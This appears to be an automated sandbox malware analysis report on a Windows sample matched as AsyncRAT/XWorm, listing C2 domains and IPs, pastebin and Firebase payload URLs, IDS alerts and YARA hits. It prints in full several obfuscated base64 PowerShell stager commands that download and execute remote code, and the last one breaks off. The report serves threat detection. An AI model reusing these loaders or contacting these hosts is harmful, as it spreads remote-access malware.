Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb* source: powershell.exe, 00000008.00000002.3145322082.000002646DCBE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000008.00000002.3145322082.000002646DCB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000010.00000002.2788067216.000002203987F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbQ source: powershell.exe, 00000010.00000002.2788067216.0000022039820000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000009.00000002.2997305257.0000022AEA68B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb2]qd! source: powershell.exe, 00000009.00000002.3002197915.0000022AEA96C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000010.00000002.2788067216.0000022039829000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000009.00000002.3002197915.0000022AEA96C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb* source: powershell.exe, 00000009.00000002.3002197915.0000022AEA96C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: tion.pdbe source: powershell.exe, 00000008.00000002.3140674589.000002646DA99000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: re.pdb\| source: powershell.exe, 00000008.00000002.3139827025.000002646DA70000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdbport (IPv6)-WFP Native MAC Layer LightWeight Filter-0000 source: powershell.exe, 00000010.00000002.2788067216.000002203987F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000009.00000002.3002197915.0000022AEA96C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: gement.Automation.pdb source: powershell.exe, 00000009.00000002.2997305257.0000022AEA68B000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 154.216.17.204:7000 -> 192.168.2.12:49710
Source: Network traffic	Suricata IDS: 2852923 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client) : 192.168.2.12:49710 -> 154.216.17.204:7000

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: saviloe24.duckdns.org
Source: Malware configuration extractor	URLs: 154.216.17.204

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Uses dynamic DNS services

Source: unknown

DNS query: name: saviloe24.duckdns.org

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: global traffic

TCP traffic: 192.168.2.12:49710 -> 154.216.17.204:7000

Source: Joe Sandbox View	IP Address: 104.20.3.235 104.20.3.235
Source: Joe Sandbox View	IP Address: 104.20.3.235 104.20.3.235

Source: Joe Sandbox View

ASN Name: SKHT-ASShenzhenKatherineHengTechnologyInformationCo SKHT-ASShenzhenKatherineHengTechnologyInformationCo

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: GET /raw/Adv9gBHa HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/Adv9gBHa HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /raw/Adv9gBHa HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/Adv9gBHa HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: saviloe24.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: pastebin.com

Source: powershell.exe, 0000000F.00000002.2855044947.000002BDC2930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoF0
Source: powershell.exe, 0000000F.00000002.2761118915.000002BDABE62000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2753096959.0000022022F82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://firebasestorage.googleapis.com
Source: powershell.exe, 00000008.00000002.3112411135.00000264656BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2879216464.000002645708C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2974830024.0000022AE235F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2836590701.000002BDBA6B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2836590701.000002BDBA570000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2779582916.00000220317D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2779582916.0000022031690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.2879216464.0000026456C82000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2808189069.0000022AD3921000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: powershell.exe, 00000010.00000002.2753096959.0000022021853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, 00000000.00000002.4978889092.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3162525727.00000235002AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.3035371457.0000025E9C271000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2879216464.0000026455651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2808189069.0000022AD22F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2761118915.000002BDAA501000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2753096959.0000022021621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000010.00000002.2753096959.0000022021853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.3162525727.000002350025A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.3035371457.0000025E9C2BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000004.00000002.3162525727.000002350027F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.3035371457.0000025E9C2D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2879216464.0000026455651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2808189069.0000022AD22F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2761118915.000002BDAA501000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2753096959.0000022021621000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000010.00000002.2779582916.0000022031690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000010.00000002.2779582916.0000022031690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000010.00000002.2779582916.0000022031690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000F.00000002.2761118915.000002BDAB97F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2753096959.0000022022A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleapis.com
Source: powershell.exe, 0000000F.00000002.2761118915.000002BDAB97F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdllroda.txt
Source: powershell.exe, 00000010.00000002.2753096959.0000022022A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdllroda.txt?alt=media
Source: powershell.exe, 00000010.00000002.2753096959.0000022022A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll%2Fdllroda.txtP
Source: powershell.exe, 00000010.00000002.2753096959.0000022022A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firebasestorage.googleapis.com/v0/b/rodriakd-8413d.appspot.com/o/dll/dllroda.txt?alt=media&t
Source: powershell.exe, 00000010.00000002.2753096959.0000022021853000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000008.00000002.2879216464.0000026455F3B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2808189069.0000022AD3440000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2761118915.000002BDAB97F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2753096959.0000022022A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000008.00000002.3112411135.00000264656BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2879216464.000002645708C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2974830024.0000022AE235F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2836590701.000002BDBA6B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2836590701.000002BDBA570000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2779582916.00000220317D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2779582916.0000022031690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000008.00000002.2879216464.000002645693B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2879216464.0000026455877000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2808189069.0000022AD2517000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2808189069.0000022AD3440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: powershell.exe, 00000009.00000002.2802419341.0000022AD0689000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/Adv9gBHa
Source: powershell.exe, 00000009.00000002.3001928610.0000022AEA750000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/adv9gbha

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.12:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.12:49712 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, type: SAMPLE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: amsi64_6236.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi64_6320.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 0.0.17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe.6d0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000000.2499444255.00000000006D2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6960, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6984, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6236, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6320, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bt?Gk?e?Bm?HU?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bi?Gg?c?Bn?GU?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?bgB1?Gc?awBr?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bu?HU?ZwBr?Gs?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?MgBv?GM?cwBh?C8?bgBp?GE?bQ?v?HM?Z?Bh?GU?a??v?HM?ZgBl?HI?LwBl?HI?aQBm?C8?YQBs?Gw?aQB1?HE?bgBh?HI?cgBh?GI?N??y?D??MgBu?G8?aQBw?G0?YQBo?GM?LwBt?G8?Yw?u?HQ?bgBl?HQ?bgBv?GM?cgBl?HM?dQBi?HU?a?B0?Gk?Zw?u?Hc?YQBy?C8?Lw?6?HM?c?B0?HQ?a??n?C??L??g?CQ?YgBo?H??ZwBl?C??L??g?Cc?aQBn?GY?e?BF?E0?Ng?0?Cc?L??g?CQ?bQBp?Hg?ZgB1?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\mknrez.vbs');powershell $Yolopolhggobek;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?Hc?bgBn?GM?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bl?GE?YQBp?Hc?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?Z?Bj?Gg?cwBp?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bk?GM?a?Bz?Gk?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?Mg?x?DE?VgBP?E4?LwBu?Gk?YQBt?C8?cwBk?GE?ZQBo?C8?cwBm?GU?cg?v?GU?cgBp?GY?LwBh?Gw?b?Bp?HU?cQBu?GE?cgBy?GE?Yg?0?DI?M??y?G4?bwBp?H??bQBh?Gg?Yw?v?G0?bwBj?C4?d?Bu?GU?d?Bu?G8?YwBy?GU?cwB1?GI?dQBo?HQ?aQBn?C4?dwBh?HI?Lw?v?Do?cwBw?HQ?d?Bo?Cc?I??s?C??J?Bl?GE?YQBp?Hc?I??s?C??JwBp?Gc?ZgB4?EU?TQ?n?Cw?I??k?Go?dwBu?Gc?Yw?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs');powershell $Yolopolhggobek;
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?Hc?bgBn?GM?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bl?GE?YQBp?Hc?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?Z?Bj?Gg?cwBp?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?H